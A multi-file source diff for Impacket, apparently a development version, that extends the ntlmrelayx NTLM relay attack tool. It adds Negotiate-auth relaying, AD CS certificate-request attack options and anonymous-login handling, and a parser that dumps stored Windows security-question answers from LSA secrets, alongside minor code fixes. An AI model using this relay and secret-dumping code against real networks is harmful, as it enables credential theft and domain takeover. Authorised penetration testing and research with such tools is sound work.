|
||||
req.sign(key, "sha256")
|
||||
|
||||
return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
|
||||
|
||||
def generate_pfx(self, key, certificate):
|
||||
certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate)
|
||||
p12 = crypto.PKCS12()
|
||||
p12.set_certificate(certificate)
|
||||
p12.set_privatekey(key)
|
||||
return p12.export()
|
||||
@@ -300,8 +300,12 @@ class LDAPAttack(ProtocolAttack):
|
||||
restoredata = {}
|
||||
|
||||
# Query for the sid of our user
|
||||
self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
|
||||
entry = self.client.entries[0]
|
||||
try:
|
||||
self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])
|
||||
entry = self.client.entries[0]
|
||||
except IndexError:
|
||||
LOG.error('Could not retrieve infos for user: %s' % userDn)
|
||||
return
|
||||
username = entry['sAMAccountName'].value
|
||||
usersid = entry['objectSid'].value
|
||||
LOG.debug('Found sid for user %s: %s' % (username, usersid))
|
||||
|
||||
@@ -40,6 +40,7 @@ class HTTPRelayClient(ProtocolClient):
|
||||
self.negotiateMessage = None
|
||||
self.authenticateMessageBlob = None
|
||||
self.server = None
|
||||
self.authenticationMethod = None
|
||||
|
||||
def initConnection(self):
|
||||
self.session = HTTPConnection(self.targetHost,self.targetPort)
|
||||
@@ -58,27 +59,35 @@ class HTTPRelayClient(ProtocolClient):
|
||||
if res.status != 401:
|
||||
LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
|
||||
try:
|
||||
if 'NTLM' not in res.getheader('WWW-Authenticate'):
|
||||
if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):
|
||||
LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
|
||||
return False
|
||||
if 'NTLM' in res.getheader('WWW-Authenticate'):
|
||||
self.authenticationMethod = "NTLM"
|
||||
elif 'Negotiate' in res.getheader('WWW-Authenticate'):
|
||||
self.authenticationMethod = "Negotiate"
|
||||
except (KeyError, TypeError):
|
||||
LOG.error('No authentication requested by the server for url %s' % self.targetHost)
|
||||
return False
|
||||
if self.serverConfig.isADCSAttack:
|
||||
LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')
|
||||
else:
|
||||
return False
|
||||
|
||||
#Negotiate auth
|
||||
negotiate = base64.b64encode(negotiateMessage).decode("ascii")
|
||||
headers = {'Authorization':'NTLM %s' % negotiate}
|
||||
headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}
|
||||
self.session.request('GET', self.path ,headers=headers)
|
||||
res = self.session.getresponse()
|
||||
res.read()
|
||||
try:
|
||||
serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
|
||||
serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)
|
||||
serverChallenge = base64.b64decode(serverChallengeBase64)
|
||||
challenge = NTLMAuthChallenge()
|
||||
challenge.fromString(serverChallenge)
|
||||
return challenge
|
||||
except (IndexError, KeyError, AttributeError):
|
||||
LOG.error('No NTLM challenge returned from server')
|
||||
return False
|
||||
|
||||
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
|
||||
if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
|
||||
@@ -87,7 +96,7 @@ class HTTPRelayClient(ProtocolClient):
|
||||
else:
|
||||
token = authenticateMessageBlob
|
||||
auth = base64.b64encode(token).decode("ascii")
|
||||
headers = {'Authorization':'NTLM %s' % auth}
|
||||
headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
|
||||
self.session.request('GET', self.path,headers=headers)
|
||||
res = self.session.getresponse()
|
||||
if res.status == 401:
|
||||
|
||||
@@ -166,24 +166,42 @@ class HTTPRelayServer(Thread):
|
||||
elif messageType == 3:
|
||||
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
|
||||
authenticateMessage.fromString(token)
|
||||
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
|
||||
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le')))
|
||||
|
||||
if not self.do_ntlm_auth(token,authenticateMessage):
|
||||
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
|
||||
LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le')))
|
||||
else:
|
||||
LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
|
||||
authenticateMessage['user_name'].decode('ascii')))
|
||||
# Only skip to next if the login actually failed, not if it was just anonymous login or a system account
|
||||
# which we don't want
|
||||
if authenticateMessage['user_name'] != b'':
|
||||
self.server.config.target.logTarget(self.target)
|
||||
# No anonymous login, go to next host and avoid triggering a popup
|
||||
self.do_REDIRECT()
|
||||
else:
|
||||
#If it was an anonymous login, send 401
|
||||
self.do_AUTHHEAD(b'NTLM', proxy=proxy)
|
||||
else:
|
||||
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
|
||||
authenticateMessage['user_name'].decode('ascii')))
|
||||
self.do_ntlm_auth(token, authenticateMessage)
|
||||
self.do_attack()
|
||||
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
|
||||
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le')))
|
||||
else:
|
||||
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
|
||||
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
|
||||
authenticateMessage['user_name'].decode('ascii')))
|
||||
|
||||
|
||||
self.send_response(207, "Multi-Status")
|
||||
self.send_header('Content-Type', 'application/xml')
|
||||
self.send_header('Content-Length', str(len(content)))
|
||||
self.end_headers()
|
||||
self.wfile.write(content)
|
||||
return
|
||||
self.do_attack()
|
||||
self.send_response(207, "Multi-Status")
|
||||
self.send_header('Content-Type', 'application/xml')
|
||||
self.send_header('Content-Length', str(len(content)))
|
||||
self.end_headers()
|
||||
self.wfile.write(content)
|
||||
return
|
||||
|
||||
def do_AUTHHEAD(self, message = b'', proxy=False):
|
||||
if proxy:
|
||||
@@ -302,7 +320,7 @@ class HTTPRelayServer(Thread):
|
||||
|
||||
# Only skip to next if the login actually failed, not if it was just anonymous login or a system account
|
||||
# which we don't want
|
||||
if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
|
||||
if authenticateMessage['user_name'] != b'': # and authenticateMessage['user_name'][-1] != '$':
|
||||
self.server.config.target.logTarget(self.target)
|
||||
# No anonymous login, go to next host and avoid triggering a popup
|
||||
self.do_REDIRECT()
|
||||
@@ -383,7 +401,7 @@ class HTTPRelayServer(Thread):
|
||||
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
|
||||
authenticateMessage['user_name'].decode('ascii'))).upper()
|
||||
|
||||
if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
|
||||
if authenticateMessage['user_name'] != b'' or self.target.hostname == '127.0.0.1':
|
||||
clientResponse, errorCode = self.client.sendAuth(token)
|
||||
else:
|
||||
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Impacket - Collection of Python classes for working with network protocols.
|
||||
#
|
||||
# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
|
||||
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
@@ -72,6 +72,8 @@ class SMBRelayServer(Thread):
|
||||
else:
|
||||
smbConfig.set("global", "SMB2Support", "False")
|
||||
|
||||
smbConfig.set("global", "anonymous_logon", "False")
|
||||
|
||||
if self.config.outputFile is not None:
|
||||
smbConfig.set('global','jtr_dump_path',self.config.outputFile)
|
||||
|
||||
@@ -289,26 +291,20 @@ class SMBRelayServer(Thread):
|
||||
client = connData['SMBClient']
|
||||
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
|
||||
authenticateMessage.fromString(token)
|
||||
if authenticateMessage['user_name'] != '':
|
||||
# For some attacks it is important to know the authenticated username, so we store it
|
||||
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le'))).upper()
|
||||
|
||||
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le'))).upper()
|
||||
if rawNTLM is True:
|
||||
respToken2 = SPNEGO_NegTokenResp()
|
||||
respToken2['ResponseToken'] = securityBlob
|
||||
securityBlob = respToken2.getData()
|
||||
|
||||
if rawNTLM is True:
|
||||
respToken2 = SPNEGO_NegTokenResp()
|
||||
respToken2['ResponseToken'] = securityBlob
|
||||
securityBlob = respToken2.getData()
|
||||
|
||||
if self.config.remove_mic:
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client, token,
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
else:
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
if self.config.remove_mic:
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client, token,
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
else:
|
||||
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
|
||||
if errorCode != STATUS_SUCCESS:
|
||||
#Log this target as processed for this client
|
||||
@@ -377,10 +373,7 @@ class SMBRelayServer(Thread):
|
||||
try:
|
||||
if self.config.mode.upper () == 'REFLECTION':
|
||||
self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
|
||||
if self.authUser == '/':
|
||||
LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
|
||||
(connId, connData['ClientIP']))
|
||||
return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
|
||||
|
||||
self.target = self.targetprocessor.getTarget(identity = self.authUser)
|
||||
if self.target is None:
|
||||
# No more targets to process, just let the victim to fail later
|
||||
@@ -542,17 +535,11 @@ class SMBRelayServer(Thread):
|
||||
client = connData['SMBClient']
|
||||
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
|
||||
authenticateMessage.fromString(token)
|
||||
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le'))).upper()
|
||||
|
||||
if authenticateMessage['user_name'] != '':
|
||||
#For some attacks it is important to know the authenticated username, so we store it
|
||||
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
|
||||
authenticateMessage['user_name'].decode('utf-16le'))).upper()
|
||||
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
else:
|
||||
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
|
||||
connData['CHALLENGE_MESSAGE']['challenge'])
|
||||
|
||||
if errorCode != STATUS_SUCCESS:
|
||||
# Let's return what the target returned, hope the client connects back again
|
||||
@@ -701,10 +688,7 @@ class SMBRelayServer(Thread):
|
||||
try:
|
||||
if self.config.mode.upper () == 'REFLECTION':
|
||||
self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
|
||||
if self.authUser == '/':
|
||||
LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
|
||||
(connId, connData['ClientIP']))
|
||||
return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
|
||||
|
||||
self.target = self.targetprocessor.getTarget(identity = self.authUser)
|
||||
if self.target is None:
|
||||
# No more targets to process, just let the victim to fail later
|
||||
|
||||
@@ -94,6 +94,10 @@ class NTLMRelayxConfig:
|
||||
# WebDAV options
|
||||
self.serve_image = False
|
||||
|
||||
# AD CS attack options
|
||||
self.isADCSAttack = False
|
||||
self.template = None
|
||||
|
||||
def setSMBChallenge(self, value):
|
||||
self.SMBServerChallenge = value
|
||||
|
||||
@@ -208,3 +212,9 @@ class NTLMRelayxConfig:
|
||||
|
||||
def setWebDAVOptions(self, serve_image):
|
||||
self.serve_image = serve_image
|
||||
|
||||
def setADCSOptions(self, template):
|
||||
self.template = template
|
||||
|
||||
def setIsADCSAttack(self, isADCSAttack):
|
||||
self.isADCSAttack = isADCSAttack
|
||||
@@ -48,10 +48,12 @@
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
import codecs
|
||||
import json
|
||||
import hashlib
|
||||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
@@ -1557,6 +1559,27 @@ class LSASecrets(OfflineRegistry):
|
||||
extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
|
||||
self.__secretItems.append(extrasecret)
|
||||
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
|
||||
elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:
|
||||
# Decode stored security questions
|
||||
sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)
|
||||
try:
|
||||
strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')
|
||||
strDecoded = json.loads(strDecoded)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
output = []
|
||||
if strDecoded['version'] == 1:
|
||||
output.append(" - Version : %d" % strDecoded['version'])
|
||||
for qk in strDecoded['questions']:
|
||||
output.append(" | Question: %s" % qk['question'])
|
||||
output.append(" | └──> Answer: %s" % qk['answer'])
|
||||
output = '\n'.join(output)
|
||||
secret = 'Security Questions for user %s: \n%s' % (sid, output)
|
||||
else:
|
||||
LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))
|
||||
LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")
|
||||
secret = json.dumps(strDecoded, indent=4)
|
||||
|
||||
if secret != '':
|
||||
printableSecret = secret
|
||||
@@ -1865,10 +1888,10 @@ class NTDSHashes:
|
||||
self.__outputFileName = outputFileName
|
||||
self.__justUser = justUser
|
||||
self.__perSecretCallback = perSecretCallback
|
||||
|
||||
# these are all the columns that we need to get the secrets.
|
||||
|
||||
# these are all the columns that we need to get the secrets.
|
||||
# If in the future someone finds other columns containing interesting things please extend ths table.
|
||||
self.__filter_tables_usersecret = {
|
||||
self.__filter_tables_usersecret = {
|
||||
self.NAME_TO_INTERNAL['objectSid'] : 1,
|
||||
self.NAME_TO_INTERNAL['dBCSPwd'] : 1,
|
||||
self.NAME_TO_INTERNAL['name'] : 1,
|
||||
@@ -1882,7 +1905,7 @@ class NTDSHashes:
|
||||
self.NAME_TO_INTERNAL['userAccountControl'] : 1,
|
||||
self.NAME_TO_INTERNAL['supplementalCredentials'] : 1,
|
||||
self.NAME_TO_INTERNAL['pekList'] : 1,
|
||||
|
||||
|
||||
}
|
||||
|
||||
def getResumeSessionFile(self):
|
||||
|
||||
@@ -197,7 +197,7 @@ ERROR_MESSAGES = {
|
||||
0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
|
||||
0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
|
||||
0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
|
||||
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\<user name> or simply <user name>."),
|
||||
0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\\<user name> or simply <user name>."),
|
||||
0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
|
||||
0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
|
||||
0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
|
||||
@@ -285,7 +285,7 @@ ERROR_MESSAGES = {
|
||||
0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
|
||||
0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
|
||||
0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
|
||||
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."),
|
||||
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\\<Name> syntax and it was not the *\" string\"."),
|
||||
0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
|
||||
0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
|
||||
0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),
|
||||
|
||||
@@ -343,12 +343,12 @@ class _DESCBC(_SimplifiedEnctype):
|
||||
tempkey[7] = chr(ord(tempkey[7]) ^ 0xF0)
|
||||
|
||||
cipher = DES.new(b(tempkey), DES.MODE_CBC, b(tempkey))
|
||||
chekcsumkey = cipher.encrypt(s)[-8:]
|
||||
chekcsumkey = fixparity(chekcsumkey)
|
||||
if _is_weak_des_key(chekcsumkey):
|
||||
chekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0)
|
||||
checksumkey = cipher.encrypt(s)[-8:]
|
||||
checksumkey = fixparity(checksumkey)
|
||||
if _is_weak_des_key(checksumkey):
|
||||
checksumkey[7] = chr(ord(checksumkey[7]) ^ 0xF0)
|
||||
|
||||
return Key(cls.enctype, chekcsumkey)
|
||||
return Key(cls.enctype, checksumkey)
|
||||
|
||||
@classmethod
|
||||
def basic_encrypt(cls, key, plaintext):
|
||||
|
||||
@@ -22,7 +22,8 @@ import os
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from pyasn1.type.univ import noValue
|
||||
from pyasn1.type.univ import noValue, Sequence
|
||||
from pyasn1.type.useful import GeneralizedTime
|
||||
from six import b
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
@@ -77,6 +78,16 @@ def sendReceive(data, host, kdcHost):
|
||||
return r
|
||||
|
||||
if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
|
||||
try:
|
||||
for i in decoder.decode(r):
|
||||
if type(i) == Sequence:
|
||||
for k in vars(i)["_componentValues"]:
|
||||
if type(k) == GeneralizedTime:
|
||||
server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ")
|
||||
LOG.debug("Server time (UTC): %s" % server_time)
|
||||
except:
|
||||
# Couldn't get server time for some reason
|
||||
pass
|
||||
raise krbError
|
||||
|
||||
return r
|
||||
@@ -230,7 +241,7 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH
|
||||
cipher = _enctype_table[enctype]
|
||||
|
||||
# Pass the hash/aes key :P
|
||||
if nthash != b'' and (isinstance(nthash, bytes) and nthash != b''):
|
||||
if isinstance(nthash, bytes) and nthash != b'':
|
||||
key = Key(cipher.enctype, nthash)
|
||||
elif aesKey != b'':
|
||||
key = Key(cipher.enctype, aesKey)
|
||||
|
||||
@@ -146,7 +146,7 @@ class KeytabEntry:
|
||||
keytab_entry {
|
||||
int32_t size; # wtf, signed size. what could possibly ...
|
||||
uint16_t num_components; /* sub 1 if version 0x501 */ |\
|
||||
counted_octet_string realm; | \ Keytab
|
||||
counted_octet_string realm; | \\ Keytab
|
||||
counted_octet_string components[num_components]; | / Princial
|
||||
uint32_t name_type; /* not present if version 0x501 */ |/
|
||||
uint32_t timestamp;
|
||||
|
||||
@@ -109,7 +109,7 @@ class LDAPConnection:
|
||||
af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0]
|
||||
self._socket = socket.socket(af, socktype, proto)
|
||||
except socket.error as e:
|
||||
raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e)
|
||||
raise socket.error('Connection error (%s:%d)' % (targetHost, self._dstPort), e)
|
||||
|
||||
if self._SSL is False:
|
||||
self._socket.connect(sa)
|
||||
|
||||
@@ -34,7 +34,7 @@ class SMBConnection:
|
||||
"""
|
||||
SMBConnection class
|
||||
|
||||
:param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\*SMBSERVER*. If the later,
|
||||
:param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*. If the later,
|
||||
and port is 139, the library will try to get the target's server name.
|
||||
:param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN
|
||||
:param string/optional myName: client's NETBIOS name
|
||||
|
||||
+15
-2
@@ -2978,9 +2978,13 @@ class SMB2Commands:
|
||||
# No credentials provided, let's grant access
|
||||
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_ANONYMOUS:
|
||||
isAnonymus = True
|
||||
if smbServer._SMBSERVER__anonymousLogon == False:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
else:
|
||||
errorCode = STATUS_SUCCESS
|
||||
else:
|
||||
isGuest = True
|
||||
errorCode = STATUS_SUCCESS
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
if errorCode == STATUS_SUCCESS:
|
||||
connData['Authenticated'] = True
|
||||
@@ -3876,7 +3880,7 @@ class SMBSERVERHandler(socketserver.BaseRequestHandler):
|
||||
# In case of AF_INET6 the client_address contains 4 items, ignore the last 2
|
||||
self.__ip, self.__port = client_address[:2]
|
||||
self.__request = request
|
||||
self.__connId = threading.currentThread().getName()
|
||||
self.__connId = threading.current_thread().name
|
||||
self.__timeOut = 60 * 5
|
||||
self.__select_poll = select_poll
|
||||
# self.__connId = os.getpid()
|
||||
@@ -3961,6 +3965,9 @@ class SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
# SMB2 Support flag = default not active
|
||||
self.__SMB2Support = False
|
||||
|
||||
# Allow anonymous logon
|
||||
self.__anonymousLogon = True
|
||||
|
||||
# Our list of commands we will answer, by default the NOT IMPLEMENTED one
|
||||
self.__smbCommandsHandler = SMBCommands()
|
||||
self.__smbTrans2Handler = TRANS2Commands()
|
||||
@@ -4601,6 +4608,12 @@ class SMBSERVER(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
else:
|
||||
self.__SMB2Support = False
|
||||
|
||||
|
||||
if self.__serverConfig.has_option("global", "anonymous_logon"):
|
||||
self.__anonymousLogon = self.__serverConfig.getboolean("global", "anonymous_logon")
|
||||
else:
|
||||
self.__anonymousLogon = True
|
||||
|
||||
if self.__logFile != 'None':
|
||||
logging.basicConfig(filename=self.__logFile,
|
||||
level=logging.DEBUG,
|
||||
|
||||
+27
-14
@@ -24,16 +24,19 @@ from struct import pack, unpack
|
||||
|
||||
EMPTY_UUID = b'\x00'*16
|
||||
|
||||
|
||||
def generate():
|
||||
# UHm... crappy Python has an maximum integer of 2**31-1.
|
||||
top = (1<<31)-1
|
||||
return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top))
|
||||
|
||||
|
||||
def bin_to_string(uuid):
|
||||
uuid1, uuid2, uuid3 = unpack('<LHH', uuid[:8])
|
||||
uuid4, uuid5, uuid6 = unpack('>HHL', uuid[8:16])
|
||||
return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
|
||||
|
||||
|
||||
def string_to_bin(uuid):
|
||||
# If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is
|
||||
if '-' not in uuid:
|
||||
@@ -41,42 +44,52 @@ def string_to_bin(uuid):
|
||||
|
||||
# If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
|
||||
# The first three components of the UUID are little-endian, and the last two are big-endian
|
||||
matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
|
||||
matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})",
|
||||
uuid)
|
||||
(uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
|
||||
uuid = pack('<LHH', uuid1, uuid2, uuid3)
|
||||
uuid += pack('>HHL', uuid4, uuid5, uuid6)
|
||||
return uuid
|
||||
|
||||
|
||||
def stringver_to_bin(s):
|
||||
(maj,min) = s.split('.')
|
||||
return pack('<H',int(maj)) + pack('<H',int(min))
|
||||
(maj, min) = s.split('.')
|
||||
return pack('<H', int(maj)) + pack('<H', int(min))
|
||||
|
||||
|
||||
def uuidtup_to_bin(tup):
|
||||
if len(tup) != 2:
|
||||
return
|
||||
return string_to_bin(tup[0]) + stringver_to_bin(tup[1])
|
||||
|
||||
|
||||
def bin_to_uuidtup(bin):
|
||||
assert len(bin) == 20
|
||||
uuidstr = bin_to_string(bin[:16])
|
||||
maj, min = unpack("<HH", bin[16:])
|
||||
return uuidstr, "%d.%d" % (maj, min)
|
||||
|
||||
#input: string
|
||||
#output: tuple (uuid,version)
|
||||
#if version is not found in the input string "1.0" is returned
|
||||
#example:
|
||||
# "00000000-0000-0000-0000-000000000000 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
# "10000000-2000-3000-4000-500000000000 version 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
# "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
# "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
|
||||
|
||||
def string_to_uuidtup(s):
|
||||
g = re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
|
||||
"""
|
||||
if version is not found in the input string "1.0" is returned
|
||||
example:
|
||||
"00000000-0000-0000-0000-000000000000 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
"10000000-2000-3000-4000-500000000000 version 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
"10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
|
||||
"10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
|
||||
|
||||
:param s: string
|
||||
:return: tuple (uuid,version)
|
||||
"""
|
||||
g = re.search(r"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",
|
||||
s + " 1.0")
|
||||
if g:
|
||||
(u,v) = g.groups()
|
||||
return (u,v)
|
||||
(u, v) = g.groups()
|
||||
return u, v
|
||||
return
|
||||
|
||||
|
||||
def uuidtup_to_string(tup):
|
||||
uuid, (maj, min) = tup
|
||||
return "%s v%d.%d" % (uuid, maj, min)
|
||||
@@ -22,7 +22,7 @@ PACKAGE_NAME = "impacket"
|
||||
|
||||
VER_MAJOR = 0
|
||||
VER_MINOR = 9
|
||||
VER_MAINT = 24
|
||||
VER_MAINT = 25
|
||||
VER_PREREL = "dev1"
|
||||
try:
|
||||
if call(["git", "branch"], stderr=STDOUT, stdout=open(os.devnull, 'w')) == 0:
|
||||
@@ -65,7 +65,7 @@ setup(name = PACKAGE_NAME,
|
||||
'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx',
|
||||
'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers',
|
||||
